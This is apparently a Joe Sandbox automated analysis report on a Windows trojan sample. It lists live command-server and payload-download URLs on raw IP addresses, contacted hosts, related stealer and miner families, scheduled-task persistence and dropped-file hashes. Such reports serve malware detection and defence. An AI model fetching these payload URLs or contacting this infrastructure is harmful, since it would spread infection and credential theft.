https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	fe64902db3.exe, 00000023.00000003.3068900720.0000000005677000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3068646537.0000000005677000.00000004.00000800.00020000.00000000.sdmp	false		high
http://html4/loose.dtd	ed0fb10817.exe, 00000024.00000003.3081858259.000000000727F000.00000004.00001000.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	skotes.exe, 00000006.00000002.3277060437.000000000149A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3277060437.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com	1c5200ac19.exe, 00000025.00000002.3278002643.00000000025AE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	fe64902db3.exe, 00000023.00000003.3068646537.0000000005677000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 0000002A.00000002.3196266039.0000000005734000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.microLl	powershell.exe, 0000002A.00000002.3209400234.0000000007EC9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	fe64902db3.exe, 00000023.00000003.2998874695.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2998753778.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2998675293.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	skotes.exe, 00000006.00000002.3277060437.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phprs	skotes.exe, 00000006.00000002.3277060437.000000000147E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://.css	ed0fb10817.exe, 00000024.00000003.3081858259.000000000727F000.00000004.00001000.00020000.00000000.sdmp	false		high
http://github.com	1c5200ac19.exe, 00000025.00000002.3278002643.00000000025BA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	skotes.exe, 00000006.00000002.3277060437.000000000149A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3277060437.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cheapptaxysu.click:443/api	fe64902db3.exe, 00000023.00000003.3102781816.0000000005625000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3068832553.0000000005621000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3150420529.0000000005625000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3122100287.0000000005625000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3069222676.0000000005625000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3068775064.0000000005615000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000002.3184499500.0000000005625000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3103802274.0000000005625000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3068928766.0000000005625000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	fe64902db3.exe, 00000023.00000003.3044079409.0000000005645000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	fe64902db3.exe, 00000023.00000003.3044079409.0000000005645000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	fe64902db3.exe, 00000023.00000003.2998874695.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2998753778.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2998675293.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 0000002A.00000002.3196266039.0000000005734000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/geopoxid/random.exeL	skotes.exe, 00000006.00000002.3277060437.00000000014AB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cheapptaxysu.click/iU	fe64902db3.exe, 00000023.00000003.3151565123.0000000000EE3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cheapptaxysu.click/	fe64902db3.exe, 00000023.00000002.3178608455.0000000000EE3000.00000004.00000020.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3081127174.0000000000EE3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	fe64902db3.exe, 00000023.00000003.3045440290.00000000058B0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cheapptaxysu.click/aU	fe64902db3.exe, 00000023.00000003.3151565123.0000000000EE3000.00000004.00000020.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3172759592.0000000000EE2000.00000004.00000020.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3103080318.0000000000EE3000.00000004.00000020.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3103711425.0000000000EE3000.00000004.00000020.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000002.3178608455.0000000000EE3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://.jpg	ed0fb10817.exe, 00000024.00000003.3081858259.000000000727F000.00000004.00001000.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000027.00000002.3158863021.0000000005994000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.3196266039.0000000005734000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	skotes.exe, 00000006.00000002.3277060437.000000000149A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3277060437.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	fe64902db3.exe, 00000023.00000003.2998874695.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2998753778.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2998675293.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://curl.se/docs/http-cookies.html	ed0fb10817.exe, 00000024.00000003.3081858259.000000000727F000.00000004.00001000.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/lolz/random.exe	skotes.exe, 00000006.00000002.3277060437.00000000014AB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://raw.githubusercontent.comd	1c5200ac19.exe, 00000025.00000002.3278002643.00000000025FB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://xmrig.com/wizard%s	Intel_PTT_EK_Recertification.exe, 0000001E.00000003.2930529971.000001CF4BDC0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000001F.00000002.2937239873.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	false		high
https://cheapptaxysu.click/apiN	fe64902db3.exe, 00000023.00000003.3068832553.0000000005621000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3043629717.0000000005625000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3043435144.0000000005622000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3068775064.0000000005615000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3043267529.000000000561A000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3068928766.0000000005625000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/burpin1/random.exeed	skotes.exe, 00000006.00000002.3277060437.000000000147E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	skotes.exe, 00000006.00000002.3277060437.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://github.comd	1c5200ac19.exe, 00000025.00000002.3278002643.00000000025BA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cheapptaxysu.click/apia	fe64902db3.exe, 00000023.00000003.3150420529.0000000005625000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3122100287.0000000005625000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000002.3184499500.0000000005625000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	fe64902db3.exe, 00000023.00000003.3068900720.0000000005677000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3068646537.0000000005677000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/burpin1/random.exe	skotes.exe, 00000006.00000002.3277060437.000000000147E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	fe64902db3.exe, 00000023.00000003.2998874695.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2998753778.00000000055C7000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2998675293.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cheapptaxysu.click/api#Q3	fe64902db3.exe, 00000023.00000003.3151565123.0000000000EE3000.00000004.00000020.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3172759592.0000000000EE2000.00000004.00000020.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3122972250.0000000000EE3000.00000004.00000020.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000002.3178608455.0000000000EE3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	fe64902db3.exe, 00000023.00000003.3068900720.0000000005677000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3068646537.0000000005677000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	skotes.exe, 00000006.00000002.3277060437.00000000014E6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	fe64902db3.exe, 00000023.00000003.3068900720.0000000005677000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.3068646537.0000000005677000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
34.226.108.155	httpbin.org	United States	14618	AMAZON-AESUS	false
176.53.146.212	home.fivetk5vt.top	United Kingdom	35791	VANNINVENTURESGB	true
20.233.83.145	github.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.199.110.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false
104.21.67.146	cheapptaxysu.click	United States	13335	CLOUDFLARENETUS	true
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
127.1.10.1	unknown	unknown	unknown	unknown	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577992
Start date and time:	2024-12-19 03:07:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	51
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.mine.winEXE@75/53@10/9
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:07:57	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
03:09:24	Task Scheduler	Run new task: Intel_PTT_EK_Recertification path: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
21:09:01	API Interceptor	835x Sleep call for process: skotes.exe modified
21:09:27	API Interceptor	36x Sleep call for process: powershell.exe modified
21:09:29	API Interceptor	8x Sleep call for process: fe64902db3.exe modified
21:09:53	API Interceptor	42x Sleep call for process: 1c5200ac19.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	random.exe.7.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	random.exe_Y.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
34.226.108.155	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse
	vOizfcQSGf.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	EnoSY3z6MP.exe	Get hash	malicious	Cryptbot	Browse
	k01VJh7Ubf.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse
	slehaYAu1z.exe	Get hash	malicious	Cryptbot	Browse
	7KAYnROp5y.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	LPtrVGfaJR.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse
	3a5Wrz0dWU.exe	Get hash	malicious	Cryptbot	Browse
	9y8P2kPsOq.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
raw.githubusercontent.com	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.199.111.133
	pyld611114.exe	Get hash	malicious	Unknown	Browse	185.199.110.133
	Lu4421.exe	Get hash	malicious	Stealerium	Browse	185.199.111.133
	Lu4421.exe	Get hash	malicious	AsyncRAT, DcRat, Stealerium	Browse	185.199.108.133
	urS3jQ9qb5.jar	Get hash	malicious	Can Stealer	Browse	185.199.109.133
	urS3jQ9qb5.jar	Get hash	malicious	Can Stealer	Browse	185.199.110.133
	x0EMKX5G1g.exe	Get hash	malicious	PureCrypter, PureLog Stealer	Browse	185.199.108.133
	x0EMKX5G1g.exe	Get hash	malicious	PureCrypter, PureLog Stealer	Browse	185.199.110.133
	rbqHSouklL.exe	Get hash	malicious	Unknown	Browse	185.199.109.133
	stealer.jar	Get hash	malicious	Can Stealer	Browse	185.199.111.133
github.com	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	20.233.83.145
	main.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	pyld611114.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	Lu4421.exe	Get hash	malicious	AsyncRAT, DcRat, Stealerium	Browse	20.233.83.145
	x0EMKX5G1g.exe	Get hash	malicious	PureCrypter, PureLog Stealer	Browse	140.82.113.4
	x0EMKX5G1g.exe	Get hash	malicious	PureCrypter, PureLog Stealer	Browse	20.233.83.145
	ORDER-2412180Y6890PF57682456HTVC789378909759..jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	20.233.83.145
	IAK4Rn3bfO.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	20.233.83.145
	ORDER-24171200967.XLS..js	Get hash	malicious	WSHRat, Caesium Obfuscator, STRRAT	Browse	140.82.121.3
	3gJQoqWpxb.bat	Get hash	malicious	Unknown	Browse	140.82.113.4
home.fivetk5vt.top	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	138.124.49.236
cheapptaxysu.click	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	104.21.67.146
aspecteirs.lat	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	104.21.66.85

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43
	rK0CtrtVrl.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	CefJcYwgWs.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	3DI3mOIlxE.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	D2Cw8gWOXj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.206
AMAZON-AESUS	1.elf	Get hash	malicious	Unknown	Browse	54.163.126.151
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	34.226.108.155
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	44.203.37.46
	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	3.223.179.111
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	3.210.134.57
	vOizfcQSGf.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.226.108.155
	EnoSY3z6MP.exe	Get hash	malicious	Cryptbot	Browse	34.226.108.155
	k01VJh7Ubf.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.226.108.155
	https://preview.micrasoft-office365.com/f5c275dd184cbe62?l=6	Get hash	malicious	Unknown	Browse	3.209.109.174
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	34.226.108.155

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	alyemenione.lnk	Get hash	malicious	Havoc, Quasar	Browse	20.233.83.145 185.199.110.133
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	20.233.83.145 185.199.110.133
	Payment_Failure_Notice_Office365_sdf_[13019].html	Get hash	malicious	HTMLPhisher	Browse	20.233.83.145 185.199.110.133
	R4qP4YM0QX.lnk	Get hash	malicious	Unknown	Browse	20.233.83.145 185.199.110.133
	List of required items and services.pdf.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	20.233.83.145 185.199.110.133
	g8ix97hz.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	20.233.83.145 185.199.110.133
	http://duckduckgogg42xjoc72x3sjasowoarfbgcmvfimaftt6twagswzczad.onion	Get hash	malicious	Unknown	Browse	20.233.83.145 185.199.110.133
	_Company.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	20.233.83.145 185.199.110.133
	1734537007a22115ccf81804870f6743791426a5c4263cfc792e757756373d12e0d21d0600610.dat-decoded.exe	Get hash	malicious	AsyncRAT	Browse	20.233.83.145 185.199.110.133
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	104.21.67.146
	https://d2kjcgrb1q4xt7.cloudfront.net/mULiCoBDj2Ug.exe	Get hash	malicious	Unknown	Browse	104.21.67.146
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	104.21.67.146
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	104.21.67.146
	rK0CtrtVrl.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.67.146
	NHEXQatKdE.exe	Get hash	malicious	LummaC	Browse	104.21.67.146
	CefJcYwgWs.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.67.146
	tdMnK5A1pe.exe	Get hash	malicious	LummaC	Browse	104.21.67.146
	3DI3mOIlxE.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.67.146
	pPizCGDvrx.exe	Get hash	malicious	LummaC	Browse	104.21.67.146

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse
	random.exe.7.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	random.exe_Y.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4462080
Entropy (8bit):	7.985337750479361
Encrypted:	false
SSDEEP:	98304:DsLQssV45wdVMBWQmIXnmZ27vSBKm/P1QBlQSr9K1GBIP:epgMBbmYmqv+KuPylZr9pBu
MD5:	D6CFEC5F8C250D92D751030C95D46AEC
SHA1:	70439CF2611F97C84AF487C44B88703D004A2BCA
SHA-256:	0200C5657794CCC0916AAE772004B7F72A793B77DC807B51B2F88E597813F611
SHA-512:	A939F9AF174D37E3D32D0794B1F14110DEFFD7847B884A79B5FD300BCC7C30CE285F6DBBC41AD6AB5BD237BB6353EFB7DDEE903A8EC155A10840DEC8C25D9BBB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....bg...............(.DI..$l..2... .......`I...@..........................P......LZD...@... ............................._.i.s.....i............................................................................................................. . .pi......H(.................@....rsrc.........i......X(.............@....idata ......i......Z(.............@... ..8...i......\(.............@...nlrrxusx.....p.......^(.............@...kobwowvr..............C.............@....taggant.0... ..."....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1880576
Entropy (8bit):	7.947827107801024
Encrypted:	false
SSDEEP:	49152:ZRGDbjz7g+LRMpnd6dc8dwpW+8cYsjL1i:ZRGDrky0nd6dcmUT8AjL1i
MD5:	FF279F4E5B1C6FBDA804D2437C2DBDC8
SHA1:	2FEB3762C877A5AE3CA60EEEBC37003AD0844245
SHA-256:	E115298AB160DA9C7A998E4AE0B72333F64B207DA165134CA45EB997A000D378
SHA-512:	C7A8BBCB122B2C7B57C8B678C5EED075EE5E7C355AFBF86238282D2D3458019DA1A8523520E1A1C631CD01B555F7DF340545FD1E44AD678DC97C40B23428F967
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 53%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g.............................0J...........@..........................`J.....i.....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... ..*..@.......\..............@...xnuzvlhe.0..../......^..............@...tzuttanx..... J.....................@....taggant.0...0J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	765568
Entropy (8bit):	7.855393940952922
Encrypted:	false
